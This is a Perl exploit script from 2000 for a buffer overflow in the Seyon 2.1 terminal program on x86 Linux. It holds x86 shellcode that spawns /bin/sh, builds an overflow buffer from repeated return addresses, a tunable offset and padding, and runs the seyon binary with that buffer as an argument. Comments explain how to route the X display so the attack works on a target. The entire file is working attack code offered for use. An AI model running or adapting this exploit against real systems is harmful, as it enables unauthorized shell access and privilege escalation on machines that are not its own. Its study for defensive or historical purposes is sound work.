#!/usr/bin/perl

## -- Copyright (c) <teleh0r@doglover.com> - anno 2000 --
##
## Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
## Tested rpm from: DLD Distribution (5.04)
##
## Usage: ./seyon-exploit.pl -o "offset" -a "alignment"
## http://teleh0r.cjb.net/ || http://www.digit-labs.org/

use Getopt::Std; getopts('o:a:', \%arg);

$shellcode =                     # Shellcode by: Taeho Oh
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */

$ret = 0xbffff18a;
$egg = 1000;
$len = 208;
$nop = 'A';


$offset = -500; $align = 1; # Default offset and align to try.

if (defined($arg{'o'})) { $offset = $arg{'o'}; }
if (defined($arg{'a'})) { $align  = $arg{'a'}; }

if (!($ENV{'DISPLAY'})) {
    die("Error: the shell variable: DISPLAY, is not set.\n");
}

$buffer .= $nop x $align;
$new_ret = pack('l',($ret + $offset));

printf("Address: %#lx\n", ($ret + $offset));
sleep(1);

for ($i = 0; $i < $len; $i += 4) {
    $buffer .= pack('l',($ret + $offset));
}

for ($i = 0; $i < ($egg - length($shellcode)); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode; 

# seyon uses X, so if there is no X server running, or you
# are not allowed to connect to it, start X on your local
# machine, and using xhost, allow the target to connect to 
# your server. Then on the target: export DISPLAY=your_X:0.0 
# - and execute the exploit. 

exec("/usr/X11R6/bin/seyon", "-noemulator", $buffer);